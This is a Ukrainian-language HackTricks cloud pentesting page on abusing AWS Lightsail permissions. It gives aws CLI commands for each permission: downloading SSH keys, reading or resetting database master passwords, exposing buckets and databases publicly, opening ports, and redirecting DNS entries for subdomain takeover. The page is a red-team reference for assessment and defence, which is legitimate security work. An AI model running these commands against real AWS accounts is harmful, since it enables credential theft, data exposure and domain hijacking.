AWS - Lightsail Privesc
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Lightsail
Детальніше про Lightsail дивіться:
warning
Важливо зауважити, що Lightsail не використовує IAM ролі, що належать користувачу, а натомість використовує обліковий запис, керований AWS, тому ви не можете зловживати цим сервісом для privesc. Однак у цьому сервісі можна знайти чутливі дані, такі як код, API keys та інформацію про бази даних.
lightsail:DownloadDefaultKeyPair
Цей дозвіл дозволить вам отримати SSH keys для доступу до інстансів:
aws lightsail download-default-key-pair
Потенційний вплив: Знайти конфіденційну інформацію всередині інстансів.
lightsail:GetInstanceAccessDetails
Цей дозвіл дозволить вам згенерувати SSH keys для доступу до інстансів:
aws lightsail get-instance-access-details --instance-name <instance_name>
Потенційний вплив: Знайти конфіденційну інформацію всередині інстансів.
lightsail:CreateBucketAccessKey
Цей дозвіл дозволить отримати ключ для доступу до bucket:
aws lightsail create-bucket-access-key --bucket-name <name>
Potential Impact: Знайти чутливу інформацію всередині bucket.
lightsail:GetRelationalDatabaseMasterUserPassword
Цей дозвіл дозволяє отримати облікові дані для доступу до бази даних:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
Можливий вплив: Знайти конфіденційну інформацію в базі даних.
lightsail:UpdateRelationalDatabase
Цей дозвіл дозволяє змінити пароль для доступу до бази даних:
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
Якщо база даних не є публічною, ви також можете зробити її публічною за допомогою цих дозволів.
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
Потенційний вплив: Знайти чутливу інформацію в базі даних.
lightsail:OpenInstancePublicPorts
Цей дозвіл дозволяє відкривати порти для доступу з Інтернету.
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
Потенційний вплив: Доступ до чутливих портів.
lightsail:PutInstancePublicPorts
Цей дозвіл дозволяє відкривати порти в Інтернеті. Зверніть увагу, що виклик закриє будь-який відкритий порт, який у ньому не вказано.
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
Potential Impact: Доступ до чутливих портів.
lightsail:SetResourceAccessForBucket
Цей дозвіл дозволяє надати інстансу доступ до бакету без додаткових облікових даних
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
Можливий вплив: Можливий новий доступ до buckets з чутливою інформацією.
lightsail:UpdateBucket
Маючи цей дозвіл, зловмисник може надати власному обліковому запису AWS доступ на читання до buckets або навіть зробити buckets публічними для всіх:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
Потенційний вплив: Можливий новий доступ до buckets, що містять чутливу інформацію.
lightsail:UpdateContainerService
Маючи цей дозвіл, зловмисник може надати доступ до приватних ECRs із сервісу контейнерів.
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
Можливий вплив: Отримати конфіденційну інформацію з приватного ECR
lightsail:CreateDomainEntry
Зловмисник з цим дозволом може створити піддомен і вказати його на власний IP address (subdomain takeover), або створити SPF record, який дозволить йому підробляти електронні листи з цього домену, або навіть вказати головний домен на свій власний IP address.
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Можливий вплив: Takeover a domain
lightsail:UpdateDomainEntry
Зловмисник із цим дозволом може створити subdomain і вказати його на свою IP-адресу (subdomain takeover), або сформувати SPF record, який дозволить йому spoof emails з домену, або навіть перенаправити основний домен на свою IP-адресу.
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Потенційний вплив: Захоплення домену
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud